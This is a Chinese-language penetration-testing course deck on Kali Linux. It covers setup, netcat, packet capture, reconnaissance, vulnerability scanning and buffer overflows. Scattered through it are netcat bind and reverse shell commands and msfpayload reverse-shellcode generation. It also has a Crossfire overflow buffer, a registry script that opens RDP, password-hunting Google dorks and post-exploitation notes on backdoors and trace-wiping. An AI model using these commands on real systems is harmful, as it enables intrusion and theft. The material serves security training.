第一章 介绍

Kali linux渗透测试

安全问题的根源

  • 分层思想的优劣

  • 只追求功能实现

  • 最⼤大的安全威胁是⼈人

安全目标

• 先于攻击者发现和防⽌止漏洞出现
  • 攻击型安全
  • 防护型安全

渗透测试

• 尝试挫败安全防御机制,发现系统安全弱点;
• 从攻击者的⾓角度思考,测量安全防护有效性;
• 证明安全问题的存在,⽽而⾮非破坏;
  • 道德约束
  • 法律

渗透测试标准

  • PETS(http://www.pentest-standard.org)
  • 前期交互阶段
  • 情报收集阶段
  • 威胁建模阶段
  • 漏洞分析阶段
  • 渗透攻击阶段
  • 后渗透测试阶段
  • 渗透测试报告

渗透测试项目

  • 渗透测试范围
  • 获得授权
  • 渗透测试⽅方法
    • 是否允许社会⼯工程学
    • 是否允许拒绝服务攻击

渗透测试误区

  • 扫描器就是⼀一切
    • 忽视业务逻辑重的漏洞

KALI

  • Kali(kālī,⾳音译为迦梨或迦利,字⾯面意思是“⿊黑⾊色的”)是印度教中⼀一个重
    要的⼥女神,她是湿婆神妃帕尔⽡瓦蒂产⽣生的化⾝身,印度神话中最为⿊黑暗和暴
    虐的⿊黑⾊色地⺟母。她⽪皮肤黝⿊黑,⻘青⾯面獠⽛牙,额头和湿婆神⼀一样有第三只眼睛,
    四只⼿手臂分持武器,戴着蛇和骷髅的项链,⾆舌头上滴着⾎血。有她的传说总
    是与杀戮和鲜⾎血相连,史上曾经⽤用过活⼈人献祭,是印度教派中最为隐晦和
    神秘的⼀一派。
  • 迦梨⼀一词也可解释为时间,故中⽂文翻译为时⺟母。在后期的信仰体系中,时
    ⺟母被认为与时间和变化有关,象征着强⼤大和新⽣生。
  • 在⾯面对前所未有的强⼤大的阿修罗时陷⼊入困境,这时候她的⾯面孔因为愤怒⽽而
    发⿊黑,从她脸上的⿊黑⽓气中诞⽣生了可怕的迦梨。今⽇日印度的都市加尔各答,
    名字的意思就是“迦梨的沐浴场”。

KALI LINUX 介绍

  • 基于Debian的Linux发⾏行版本
  • 前⾝身是BackTrack, 2013 年 3 ⽉月发布;
  • ⽤用于渗透测试和安全审计;
  • 包含600+安全⼯工具
  • FHS标准⺫⽬目录结构
  • 定制内核
  • ⽀支持ARM和⼿手机平台
  • 开源免费

KALI LINUX 策略

  • Root⽤用户策略
  • ⺴⽹网络服务策略
  • 更新升级策略

关于本教程

  • 这是⼀一⻔门关于渗透测试⽅方法的课程
  • 这是⼀一⻔门关于kali linix基本使⽤用的教程
  • 不要停留在了解的程度
  • 实践再实践是最好的⽼老师
  • 这⾥里只是起跑线⽽而不是终点线
  • Kali很强⼤大,但不是全部

第二章 安装

硬盘安装

持久加密 USB 安装 -1

  • LUKS:Linux Unified Key Setup
    • 磁盘分区加密规范
    • 不依赖于操作系统的磁盘级加密
    • Windows——DoxBox
    • 后端:dm-crypt
    • 前段:cryptsetup
    • 微软的bitlocker
  • 将镜像刻录到U盘
    • dd if=kali-linux-1.1.0-amd64.iso of=/dev/sdb bs=1M

持久加密 USB 安装 -2

  • 为U盘创建额外分区

  • 使⽤用LUKS加密分区

  • 打开加密分区

  • 格式化加密分区+卷标

  • 挂载加密分区,并创建persistence.conf ⽂文件

  • 持久加密 USB 安装 -2

虚拟机安装

熟悉环境

• 登陆密码

  • Top 10 安全⼯工具
  • 字体调整
  • 强⾏行终⽌止程序
  • 文件目录
  • 共享⽂文件

熟悉 BASH 命令

  • Ls、cd、cat、more、tail、cp、rm、top、ps、grep、ifconfig、
    netstat、awk、sort、 fdisk、mount、dmesg 、find、whereis、
    Echo、vi
  • 管道
  • Shell 脚本

Q & A

第三章 定制

网络配置 -1

  • 临时IP地址
    • dhclient eth
    • ifconfig eth0 192.168.1.11/24
    • route add default gw 192.168.1.1
    • echo nameserver 192.168.1.1 > /etc/resolv.conf

网络配置 -2

• 固定IP地址

• cat /etc/network/interface
• auto eth0
• iface eth0 inet static
• address 192.168.20.1
• netmask 255.255.255.0
• network 192.168.20.0
• broadcast 192.168.20.255
• gateway 192.168.20.2
• dns-nameservers 192.168.1.1 192.168.1.2
• up route add -net 172.16.5.0/24 gw 192.168.10.100 eth1
• down route del -net 172.24.0.0/24

  • ⺴⽹网络配置 -
    - • auto eth • cat /etc/network/interface
    - • address 192.168.20. • iface eth0 inet static
    - • netmask 255.255.255.
    - • network 192.168.20.
    - • broadcast 192.168.20.
    - • gateway 192.168.20.
    - • dns-nameservers 192.168.1.1 192.168.1.
    • • up route add -net 172.16.5.0/24 gw 192.168.10.100 eth
    • • down route del -net 172.24.0.0/

更新升级

  • apt-get update
  • apt-get upgrade
  • apt-get dis-upgrade
  • 重复执⾏行

安装软件包

    • Apt-get命令
  • 安装适合⾃自⼰己的⼯工具软件
    • apt-get install kali-linux-all smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule
      qbittorrent geany meld stardict ttf-wqy-microhei kchmviewer resolvconf python-dev
      python-greenlet python-gevent python-vte python-openssl python-crypto python-
      appindicator python-pip libnss3-tools freemind netspeed libncurses5-dev mtr filezilla filezilla-
      common chromium monodevelop mono-gmcs -y

浏览器插件

• 安装JAVA-

  • 下载
  • 解包拷⻉贝
    • tar -xzvf /root/jdk-7u45-linux-x64.tar.gz
    • mv jdk1.7.0_45 /opt
    • cd /opt/jdk1.7.0_
  • 安装注册
    • update-alternatives –install /usr/bin/java java /opt/jdk1.7.0_45/bin/java 1
    • update-alternatives –install /usr/bin/javac javac /opt/jdk1.7.0_45/bin/javac 1
    • update-alternatives –install /usr/lib/mozilla/plugins/libjavaplugin.so mozilla-javaplugin.so /
      opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so 1

• 安装JAVA-

  • 默认设置
    • update-alternatives –set java /opt/jdk1.7.0_45/bin/java
    • update-alternatives –set javac /opt/jdk1.7.0_45/bin/javac
    • update-alternatives –set mozilla-javaplugin.so /opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so
  • 验证

安装显卡驱动

  • GPU的⽤用途
    • Nvidia
    • Ati
  • Nvidia显卡驱动安装
    • apt-get update
      apt-get dist-upgrade
      apt-get install -y linux-headers-$(uname -r)
      apt-get install nvidia-kernel-dkms
    • sed ‘s/quiet/quiet nouveau.modeset=0/g’ -i /etc/default/grub
      update-grub
      reboot
  • 验证:
    • glxinfo | grep -i “direct rendering“
      • direct rendering: Yes

无线网卡补丁

并发线程限制

  • Ulimite⽤用于限制当前 shell 内进程的资源使⽤用
  • 查看默认值
    • Ulimite –a
  • 全局配置⽂文件 :/etc/security/limits
  • ⽤用途距离
    • 限制⽂文件块⼤大⼩小:ulimit – s 100
    • 限制shell内存使⽤用:ulimit -m 5000 -v 5000
  • 没有直接对socket数量的限制参数
    • Linux系统中⼀一切都是⽂文件,运⾏行中的⽂文件叫做进程
    • ulimite –n 800000

电源优化

  • 渗透测试系统耗电较⼤大
  • 延⻓长电池寿命
    • ⽆无操作挂起、关闭显⽰示器
    • 降低显⽰示器亮度
    • 不使⽤用时关闭⽆无线⺴⽹网卡
    • 开启硬盘省电选项
      • hdparm -i /dev/sda if AdvancedPM=yes then hdparm -B 1 -S 12 /dev/
        sda
    • 启动笔记本模式

笔记本模式

  • #!/bin/bash

currentMode=$(cat /proc/sys/vm/laptop_mode)

1
2
3
4
5
6
7
8
if [ $currentMode -eq 0 ]
then
echo "5" > /proc/sys/vm/laptop_mode
echo "Laptop Mode Enabled"
else
echo "0" > /proc/sys/vm/laptop_mode
echo "Laptop Mode Disabled"
fi

服务开关

  • Kali Linux默认未启动所有⺴⽹网络服务
  • update-rc.d ssh default
  • /etc/init.d/ssh start

翻墙 & 代理

  • GFW⻓长城防⽕火墙
    • Facebook、youtube
  • 翻墙
    • http代理
    • socks代理
    • ssh隧道
  • Goagent
  • Tor
  • ⽆无界

• GOAGENT

• GOAGENT安装

  • pip install pyOpenSSL
  • pip install gevent –upgrade
  • mkdir -p ~/.pki/nssdb
  • certutil -d sql:$HOME/.pki/nssdb –N
  • 导⼊入证书
  • 设置浏览器代理
  • 使⽤用

代理链

  • 公开的代理服务器
  • 配置代理链
    • vi /etc/proxychains.conf
  • proxychains iceweasel

代理设置

TOR

  • 保护隐私防⽌止被追踪
  • 志愿者组成
  • 长期在天朝完全⽆无法使⽤用
    • 感谢 云
  • 暗⺴⽹网
    • 互联网搜索引擎⽆无法发现
    • 互联网⿊黑市
  • 下载和看视频是不道德的行为

TOR

Q & A

第四章 实验环境

准备实验环境

  • 渗透⾮非授权系统的弊端
  • 搭建⾃自⼰己的实验环境

安装虚拟机

安装虚拟机

模拟真实网络

背靠背防火墙

Q & A

第五章 基本⼯工具

常用工具

  • Nc / ncat
  • Wireshark
  • Tcpdump

NETCAT ——NC

• 网络工具中的瑞士军刀——小身材、大智慧
• 侦听模式 / 传输模式
  • telnet / 获取banner信息
  • 传输⽂文本信息
  • 传输⽂文件/目录
  • 加密传输⽂文件
  • 远程控制/木⻢
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘

NC——TELNET / BANNER

  • nc –nv 1.1.1.1 110
  • nc –nv 1.1.1.1 25
  • nc –nv 1.1.1.1 80

NC—— 传输文本信息

  • A:nc -l -p 4444
  • B:nc –nv 1.1.1.1 4444
  • 远程电子取证信息收集

NC—— 传输⽂文件 / 目录

• 传输⽂文件
  • A:nc -lp 333 > 1.mp
  • B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1
  • A:nc -q 1 -lp 333 < a.mp
  • B: nc -nv 1.1.1.1 333 > 2.mp
  • 传输目录
  • A:tar -cvf - music/ | nc -lp 333 –q 1
  • B:nc -nv 1.1.1.1 333 | tar -xvf –
  • 加密传⽂文件
  • A:nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp
  • B: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1

NC—— 流媒体服务

  • A: cat 1.mp4 | nc -lp 333
  • B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

NC—— 端口扫描

  • nc -nvz 1.1.1.1 1-65535
  • nc –vnzu 1.1.1.1 1-1024

NC—— 远程克隆硬盘

  • A: nc -lp 333 | dd of=/dev/sda
  • B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
  • 远程电⼦子取证,可以将⺫⽬目标服务器硬盘远程复制,或者内存。

NC—— 远程控制

• 正向:
  • A:nc -lp 333 -c bash
  • B:nc 1.1.1.1 333
  • 反向:
  • A:nc -lp 333
  • B:nc 1.1.1.1 333 -c bash
  • 注:Windows⽤用户把bash改成cmd;

NC——NCAT

  • Nc缺乏加密和⾝身份验证的能⼒力
  • Ncat包含于nmap⼯工具包中
  • A:ncat ncat -c bash –allow 192.168.20.14 -vnl 333 –ssl
  • B:ncat -nv 1.1.1.1 333 –ssl

WIRESHARK

• 抓包嗅探协议分析
• 安全专家必备的技能
• 抓包引擎
  • Libpcap9—— Linux
  • Winpcap10—— Windows
  • 解码能力

WIRESHARK—— 基本使用方法

• 启动
• 选择抓包⺴⽹网卡
• 混杂模式
• 实时抓包
• 保存和分析捕获⽂文件
• ⾸首选项

WIRESHARK—— 筛选器

• 过滤掉干扰的数据包
• 抓包筛选器
• 显⽰示筛选器

WIRESHARK—— 常⻅见协议包

• 数据包的分层结构
  • Arp
  • Icmp
  • Tcp——三次握⼿手
  • Udp
  • Dns
  • http
  • ftp

WIRESHARK——TCP

• 数据流
  • http
  • Smtp
  • Pop
  • Ssl

WIRESHARK—— 信息统计

• 节点数
• 协议分布
• 包大小分布
• 会话连接
• 解码方式
• 专家系统
  • 抓包对⽐比nc、ncat加密与不加密的流量

WIRESHARK—— 实践

  • 抓包对⽐比nc、ncat加密与不加密的流量

WIRESHARK—— 实践

  • 抓包对⽐比nc、ncat加密与不加密的流量
  • 企业抓包布署⽅方案

TCPDUMP

  • No-GUI的抓包分析⼯工具
  • Linux、Unix系统默认安装

TCPDUMP—— 抓包

• 抓包
  • tcpdump -i eth0 -s 0 -w file.pcap
  • 读取抓包⽂文件
  • Tcpdump -r file.pcap

TCPDUMP—— 筛选

  • tcpdump -n -r http.cap | awk ‘{print $3}’| sort –u
  • tcpdump -n src host 145.254.160.237 -r http.cap
  • tcpdump -n dst host 145.254.160.237 -r http.cap
  • tcpdump -n port 53 -r http.cap
  • tcpdump -nX port 80 -r http.cap

TCPDUMP—— ⾼高级筛选

TCPDUMP—— ⾼高级筛选

  • tcpdump -A -n ‘tcp[13] = 24’ -r http.cap

Q & A

第六章 被动信息收集

被动信息收集

• 公开渠道可获得的信息
• 与目标系统不产⽣生直接交互
• 尽量避免留下⼀切痕迹
• OSINT:

信息收集内容

• IP地址段
• 域名信息
• 邮件地址
• ⽂文档图片数据
• 公司地址
• 公司组织架构
• 联系电话 / 传真号码
• 人员姓名 / 职务
• 目标系统使⽤用的技术架构
• 公开的商业信息

信息用途

• 用信息描述目标
• 发现
• 社会工程学攻击
• 物理缺口

信息收集 ——DNS

• 域名解析成IP地址
  • 域名 与 FQDN的区别
  • 域名记录:A 、C nmae、NS、MX、ptr

DNS 信息收集 —— NSLOOKUP

  • nslookup http://www.sina.com
  • server
  • type=a、mx、ns、any
  • nslookup -type=ns example.com 156.154.70.22

DNS 信息收集 —— DIG

  • dig @8.8.8.8 http://www.sina.com mx
  • dig http://www.sina.com any
  • 反向查询:dig +noall +answer -x 8.8.8.8
  • bind版本信息: dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com
  • DNS追踪: dig +trace example.com
    • 抓包比较递归查询、迭代查询过程的区别

DNS 区域传输

  • dig @ns1.example.com example.com axfr
  • host -T -l sina.com 8.8.8.

DNS 字典爆破

  • fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt
  • dnsdict6 -d4 -t 16 -x sina.com
  • dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
  • dnsmap sina.com -w dns.txt
  • dnsrecon -d sina.com –lifetime 10 -t brt -D dnsbig.txt
  • dnsrecon -t std -d sina.com

DNS 注册信息

  • Whois
  • whois -h whois.apnic.net 192.0.43.10

搜索引擎

• 公司新闻动态
• 重要雇员信息
• 机密文档 / 网络拓扑
• 用户名密码
• 目标系统软硬件技术架构

SHODAN

• 搜索联网的设备

GOOGLE搜索

  • +充值 - ⽀支付
  • 北京的电⼦子商务公司——北京 intitle:电⼦子商务 intext:法⼈人 intext:电话
  • 阿⾥里网站上的北京公司联系⼈人——北京 site:alibaba.com inurl:contact
  • 塞班司法案的PDF⽂文档——SOX filetype:pdf
  • 法国的支付相关⻚页⾯面——payment site:fr

GOOGLE搜索——实例

  • inurl:”level/15/exec/-/show”
  • intitle:”netbotz appliance” “ok”
  • inurl /admin/login.php
  • inurl:qq.txt
  • filetype:xls “username | password“
  • inurl:ftp “password” filetype:xls site:baidu.com
  • Service.pwd
  • http://exploit-db.com/google-dorks

YA N D E X

• 世界第四大搜索引擎——俄罗斯

RECON-NG

  • 全特性的web侦察框架
  • 基于Python开发

⽤用户信息

• 邮件
  • theharvester -d sina.com -l 300 -b google
  • ⽂文件
  • metagoofil -d microsoft.com -t pdf -l 200 -o test -f 1.html

MELTAGO

• 申请账号
• 登陆使用

其他途径

• 社交网络
• ⼯工商注册
• 新闻组 / 论坛
• 招聘网站

个人专属的密码字典

• 按个⼈人信息⽣生成其专属的密码字典

METADATA

  • Exif图⽚片信息
  • Foca

RECON-NG

  • Web信息搜索框架
  • 命令格式与msf⼀一致
  • 基于python开发
  • 使⽤用⽅方法:
    • 模块
    • 数据库
    • 报告

RECON-NG

• 全局选项
  • USER-AGENT
  • Proxy
  • Workspace
  • Snapshot
  • Show schema
  • Help
  • Query 数据库
  • Select * from hosts where host like ‘%baidu.com%’ order by ip_address

RECON-NG

• DNS查询
  • Google
  • Baidu
  • Bing
  • Ya h o o
  • Brute force
  • 解析IP地址(查询数据库)
  • 联系⼈人
  • 报告
  • API

Q & A

第七章 主动信息收集

第八章 漏洞扫描

发现弱点

  • 发现漏洞
    • 基于端口服务扫描结果版本信息(速度慢)
    • 搜索已公开的漏洞数据库(数量大)
    • 使用弱点扫描器实现漏洞管理

从信息的维度定义漏洞管理

  • 信息收集:
    • 扫描发现网络IP、OS、服务、配置、漏洞
    • 能力需求:定义扫描方式内容和目标
  • 信息管理
    • 格式化信息,并进行筛选、分组、定义优先级
    • 能力需求:资产分组、指定所有者、向所有者报告漏洞
  • 信息输出
    • 向不同层级的人群展示足够的信息量
    • 能力需求:生成报告、导出数据、与SIEM集成

弱点扫描类型

  • 主动扫描
    • 有身份验证
    • 无身份验证
  • 被动扫描
    • 镜像端口抓包
    • 其他来源输入
  • 基于Agent的扫描
    • 支持平台有限

漏洞基本概念

  • CVSS(Common Vulnerability Scoring System)
    • 通用漏洞评分系统——工业标准
    • 描述安全漏洞严重程度的统一评分方案
    • V 3版本—— 2015 年 6 月 10 日
    • Basic Metric:基础的恒定不变的弱点权重
    • Temporal Metric:依赖时间因素的弱点权重
    • Enviromental Metric:利用弱点的环境要求和实施难度的权重

漏洞基本概念

  • CVSS(Common Vulnerability Scoring System)
    • CVSS是安全内容自动化协议(SCAP)的一部分
    • 通常CVSS与CVE一同由美国国家漏洞库(NVD)发布并保持数据的更新
    • 分值范围: 0 —— 10
    • 不同机构按CVSS分值定义威胁的中、高、低威胁级别
    • CVSS体现弱点的风险,威胁级别(severity)表示弱点风险对企业的影响程度
    • CVSS分值是工业标准,但威胁级别不是

漏洞基本概念

  • Vulnerability Reference
  • CVE( Common Vulnerabilities and Exposures )
    • 已公开的信息安全漏洞字典,统一的漏洞编号标准
    • MITRE公司负责维护(非盈利机构)
    • 扫描器的大部分扫描项都对应一个CVE编号
    • 实现不同厂商之间信息交换的统一标准
  • CVE发布流程
    • 发现漏洞
    • CAN负责指定CVE ID
    • 发布到CVE List —— CVE- 2008 - 4250
    • MITRE负责对内容进行编辑维护

漏洞基本概念

  • 很多厂商维护自己的Vulnerability Reference
    • MS
    • MSKB
  • 其他Vulnerability Reference
    • CERT TA08-297A
    • BID 31874
    • IAVM 2008 - A- 0081
    • OVAL OVAL

漏洞基本概念

  • OVAL(Open Vulnerability and Assessment Language)
    • 描述漏洞检测方法的机器可识别语言
    • 详细的描述漏洞检测的技术细节,可导入自动化检测工具中实施漏洞检测工作
    • OVAL使用XML语言描述,包含了严密的语法逻辑^
  • CCE
    • 描述软件配置缺陷的一种标准化格式
    • 在信息安全风险评估中,配置缺陷的检测是一项重要内容,使用CCE可以让配置缺陷以标准的方式
      展现出来,便于配置缺陷评估的可量化操作。
  • CPE(Common Product Enumeration)
    • 信息技术产品、系统、软件包的结构化命名规范,分类命名
  • CWE(Common Weakness Enumeration)
    • 常见漏洞类型的字典,描述不同类型漏洞的特征(访问控制、信息泄露、拒绝服务)

漏洞基本概念

  • Security Content Automation Protocol (SCAP)
    • SCAP 是一个集合了多种安全标准框架
    • 六个元素:CVE、OVAL、CCE、CPE、 CVSS、XCCDF
    • 目的是以标准的方法展示和操作安全数据
    • 由NIST负责维护
  • SCAP主要解决三个问题
    • 实现高层政策法规等到底层实施的落地(如FISMA,ISO27000系列)
    • 将信息安全所涉及的各个要素标准化(如统一漏洞的命名及严重性度量)
    • 将复杂的系统配置核查工作自动化
  • SCAP是当前美国比较成熟的一套信息安全评估标准体系,其标准化、自动化的思想对信息安
全行业产生了深远的影响。

漏洞基本概念

  • NVD(National Vulnerability Database)
    • 美国政府的漏洞管理标准数据
    • 完全基于SCAP框架
    • 实现自动化漏洞管理、安全测量、合规要求
    • 包含以下库
      • 安全检查列表
      • 软件安全漏洞
      • 配置错误
      • 产品名称
      • 影响度量
  • https://nvd.nist.gov/

漏洞管理

  • 周期性扫描跟踪漏洞
  • 高危漏洞优先处理
  • 扫描注意事项
  • 漏洞管理三要素
    • 准确性
    • 时间
    • 资源

NMAP

  • nmap 扫描脚本
    • 400+
    • 分类
  • cat /usr/share/nmap/scripts/script.db
  • grep vuln /usr/share/nmap/scripts/script.db | cut -d “"“ -f 2
  • cat /usr/share/nmap/scripts/smb-check-vulns.nse
  • smb-check-vulns.nse
    • nmap - sU - sS –script=smb-check-vulns.nse –script-args=unsafe=1 -p U:137,T:139,445 1.1.1.1
    • MS08- 067

NMAP

  • smb-vuln-ms10- 061 .nse
    • Stuxnet蠕虫利用的 4 个漏洞之一
    • Print Spooler权限不当,打印请求可在系统目录可创建文件、执行任意代码
    • LANMAN API枚举共享打印机
    • 远程共享打印机名称
    • smb-enum-shares枚举共享
      • 身份认证参数——smbuser、smbpassword
      • nmap - p445 –script=smb-enum-shares.nse –script-args=smbuser=admin,smbpassword=pass
        1.1.1.1
    • Windows XP,Server 2003 SP2,Vista,Server 2008, win 7
  • 影响扫描结果的因素

扫描结果确认

  • 目标系统版本
  • 补丁是否安装
  • 是否可被入侵
  • 有时很难说什么才是准确的扫描结果
  • 应综合的看待漏洞威胁

OPENVAS

  • Openvas
    • Nessus项目分支
    • 管理目标系统的漏洞
    • 免费开源
    • Kali默认安装,但未配置和启动

OPENVAS

OPENVAS

  • OpenVAS Manager
    • 控制scanner和其他manager的中心组件
    • 控制中心数据库,保存用户配置及扫描结果
    • 客户端使用基于XML的无状态OMP协议与其通信
    • 集中排序筛选,使客户端获得一致展现
  • OpenVAS Scanner
    • 具体执行Network Vulnerability Tests (NVTs)
    • NVTs 每天通过 Feed 更新
    • 受 Manager 控制

OPENVAS

  • OSP Scanner
    • 可以统一管理多个scanner
    • 将一组 scanner 作为一个对象交给manager管理
  • Greenbone Security Assistant (GSA)
    • 提供 Web service
  • OpenVAS CLI
    • omp 命令行工具,可实现批处理控制 manager
  • 更新很快
    • 所有找得到的资料几乎都已不同程度的过时了

OPENVAS

  • 安装
  • 创建证书
  • 同步弱点数据库
  • 创建客户端证书
  • 重建数据库
  • 备份数据库
  • 启动服务装入插件
  • 创建管理员账号
  • 创建普通用户账号
  • 配置服务侦听端口
  • 安装验证

OPENVAS

  • 初始化安装
    • openvas-setup
  • 检查安装结果
    • openvas-check-setup
  • 查看当前账号
    • openvasmd –list-users
  • 修改账号密码
    • openvasmd –user=admin –new-password=Passw0rd
  • 升级
    • openvas-feed-update

OPENVAS

  • 不是秘笈是经验
  • vi /usr/bin/openvas-start
    • Starting OpenVas Services
    • Starting OpenVAS Manager: openvasmd
    • Starting OpenVAS Scanner: openvassd
    • Starting Greenbone Security Assistant: gsad

OPENVAS

  • 扫描配置
    • 扫描windows
    • 扫描Linux
    • 扫描网络设备

OPENVAS

  • 扫描目标
    • Windows
    • Linux
    • 路由器

OPENVAS

  • 扫描任务
    • 进度
    • 报告

NESSUS

NESSUS

NESSUS

  • 策略
  • 扫描
  • 扫描本机
  • 扫描windows
  • 扫描linux
  • 扫描网络设备
  • 扫描web server
  • 报告
  • 调度

NEXPOSE

  • Rapid 7
    • Nexpose
    • 完整的漏洞管理实现

扫描结果分析

  • False positive:
    • 误报
  • False negative
    • 漏报

Q & A

第九章 缓冲区溢出

程序漏洞从哪里来

• 罪恶的根源:变量
• 数据与代码边界不清
  • 最简漏洞原理 —— shell脚本漏洞

缓冲区溢出

• 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑
暴”,从而覆盖了相邻内存区域的数据;
• 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

如何发现漏洞

• 源码审计
• 逆向工程
• 模糊测试
  • 向程序堆栈半随机的数据,根据内存变化判断溢出
  • 数据生成器:生成随机、半随机数据
  • 测试工具:识别溢出漏洞

WINDOWS 缓冲区溢出

FUZZER

FUZZER

  • SLMail 5.5.0 Mail Server
    • POP3 PASS 命令存在缓冲区溢出漏洞
    • 无需身份验证实现远程代码执行
    • DEP:阻止代码从数据页被执行
    • ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化

POP

  • Nc 110 端口
  • 了解未知协议
    • Wireshark
    • RFC
  • 01.py

FUZZING

• 测试 PASS 命令接收到大量数据时是否会溢出
• EIP 寄存器存放下一条指令的地址
  • 02.py

FUZZING

• 2700 个字符实现 EIP 寄存器溢出
  • 03.py
  • 找到精确溢出的 4 个字节
    • 二分法
    • 唯一字串法
    • usr/share/metasploit-framework/tools/pattern_create.rb 2700
    • 04.py
    • 05.py

FUZZING

• 思路:
  • 将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取 EIP 寄存器
    数值,将跳转到 shellcode 代码段并执行;
  • 寻找可存放shellcode的内存空间
  • 06.py

FUZZING

• 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
  • 返回地址、Shellcode、buffer中都不能出现坏字符
  • null byte (0x00) 空字符,用于终止字符串的拷贝操作
  • return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
  • 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
  • 07.py
  • 0x0A
  • 0x0D

FUZZING

• 重定向数据流
  • 用 ESP 的地址替换 EIP 的值
  • 但是 ESP 地址变化,硬编码不可行
  • SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
  • 变通思路
  • 在内存中寻找地址固定的系统模块
  • 在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode
  • mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
  • 寻找无DEP、ALSR保护的内存地址
  • 内存地址不包含坏字符

FUZZING

• 寻找不受保护的系统模块
  • !mona modules
  • 将汇编指令 jmp esp 转换为二进制
  • ./nasm_shell
  • FFE
  • 在模块中搜索 FFE4 指令
  • !mona find -s “\xff\xe4” -m slmfc.dll
  • 选择不包含坏字符的内存地址
  • 在该地址设置断点
  • 重发buffer
  • 08.py (地址全翻转)

FUZZING

  • 生成shellcode
  • Scratch
  • ./msfpayload -l
  • ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
  • ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode - b
    “\x00\x0a\x0d”
  • nc - vlp 443
  • 09.py

FUZZING

  • Shellcode执行结束后以 ExitProcess 方式退出整个进程,将导致邮件服务崩溃;
  • Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;
  • ./msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R
    | ./msfencode - b “\x00\x0a\x0d”

FUZZING

  • echo Windows Registry Editor Version 5.00>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server]>>3389.reg
    echo “fDenyTSConnections”=dword:00000000>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server\Wds\rdpwd\Tds\tcp]>>3389.reg
    echo “PortNumber”=dword:00000d3d>>3389.reg
    echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
    Server\WinStations\RDP-Tcp]>>3389.reg
    echo “PortNumber”=dword:00000d3d>>3389.reg
    regedit /s 3389.reg

LINUX 缓冲区溢出

FUZZING

  • Crossfire
    • 多人在线 RPG 游戏
    • 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞
  • 调试工具
    • edb
  • 运行平台
    • Kali i486 虚拟机

FUZZING

  • 新版本Linux内核支持内存保护机制
    • DEP
    • ASLR
    • 堆栈 cookies
    • 堆栈粉碎

FUZZING

  • 本机调试
    • iptables -A INPUT -p tcp –destination-port 4444 ! -d 127.0.0.1 -j DROP
    • iptables -A INPUT -p tcp –destination-port 13327 ! -d 127.0.0.1 -j DROP

FUZZING

  • 解压
    • /usr/games
    • tar zxpf crossfire.tar.gz
  • 调试
    • edb –run /usr/games/crossfire/bin/crossfire
    • 01.py

FUZZING

  • 唯一字符串识别 EIP 精确位置
    • /usr/share/metasploit-‐framework/tools/pattern_create.rb 4379
    • 02.py
    • /usr/share/metasploit-‐framework/tools/pattern_offset.rb 46367046
    • 4368
  • 03.py

FUZZING

  • 思路:
  • 第一阶段shellcode
    • ESP 跳转到 EAX
    • 偏移 12 个字节
  • setup sound shellcode2
  • /usr/share/metasploit-‐framework/tools/nasm_shell.rb
    • add eax,12
    • jmp eax
    • \x83\xc0\x0c\xff\xe0\x90\x90

FUZZING

  • 查找坏字符
    • \x00\x0a\x0d\x20

FUZZING

  • ESP 跳转地址
    • Opcode serach
    • crash = “\x41“ * 4368 + “\x97\x45\x13\x08“ + “\x83\xc0\x0c\xff\xe0\x90\x90”
  • 设断点(0x08134597)
    • EIP—— 08134597
    • jmp esp
    • add eax, 12
    • jmp eax

FUZZING

  • msfpayload linux/x86/shell_bind_tcp LPORT=4444 R | msfencode - b
“\x00\x0a\x0d\x20”
  • 05.py

选择和修改 EXP

  • 网上公开的 EXP 代码
    • 选择可信赖的 EXP 源
    • Exploit-db
    • SecurityFocus
    • Searchsploit
    • 有能力修改 EXP(Python、Perl、Ruby、C、C++…)

选择和修改 EXP

  • 646.c
    • 类unix环境下编译
    • 返回地址与我们的环境不符
    • 反弹shell硬编码了回连IP地址
    • 缓冲区偏移量与我们的环境不符
    • 目标IP硬编码

选择和修改 EXP

  • 643.c
    • Windows环境下编译
    • apt-get install mingw32
    • dpkg –add-architecture i386 && apt-get update && apt-get install
wine32
  • i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe
  • wine sl.exe 192.168.20.32

避免有害的 EXP

  • 不同的 EXP
    • 不同的系统补丁
    • 软件版本
    • 不同的offset、shellcode
  • 扫描探测目标系统版本,搭建适当的测试环境
    • 避免一锤子测试
  • 修改公开的 EXP 满足不同环境需要
    • 了解漏洞原理,修改溢出代码

后漏洞利用阶段

POST EXPLOITATION

漏洞利用后阶段

  • 上传工具
  • 提权
  • 擦除攻击痕迹
  • 安装后门
    • 长期控制
    • Dump 密码
    • 内网渗透
